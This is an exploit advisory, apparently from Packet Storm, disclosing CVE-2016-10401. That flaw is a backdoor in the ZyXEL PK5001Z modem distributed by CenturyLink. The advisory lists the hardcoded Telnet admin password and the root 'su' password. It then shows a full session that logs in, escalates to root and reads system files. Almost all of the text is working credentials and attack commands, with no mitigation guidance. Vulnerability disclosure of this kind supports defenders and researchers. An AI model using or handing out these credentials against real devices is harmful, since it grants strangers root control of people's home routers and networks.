ZyXEL PK5001Z Modem Backdoor Account

Type packetstorm
Reporter Matthew Sheimo
Modified 2017-11-02T00:00:00


                                            `# Exploit Title: ZyXEL PK5001Z Modem - CenturyLink Hardcoded admin and root Telnet Password.  
# Google Dork: n/a  
# Date: 2017-10-31  
# Exploit Author: Matthew Sheimo  
# Vendor Homepage: https://www.zyxel.com/  
# Software Link: n/a  
# Version: PK5001Z  
# Tested on: Linux  
# About: ZyXEL PK5001Z Modem is used by Century Link a global communications and IT services company focused on connecting its customers to the power of the digital world.   
# Linked CVE's: CVE-2016-10401  
Hardcoded password for ZyXEL PK5001Z Modem, login with the following credentials via Telnet  
username: admin  
password: CenturyL1nk  
Escalate to root with 'su' and this password.  
password: zyad5001  
[root:/]# telnet  
Connected to  
Escape character is '^]'.  
PK5001Z login: admin  
Password: CenturyL1nk  
$ whoami  
$ su  
Password: zyad5001  
# whoami  
# uname -a  
Linux PK5001Z #54 Wed Oct 14 11:17:48 CST 2015 mips unknown  
# cat /etc/zyfwinfo  
Vendor Name: ZyXEL Communications Corp.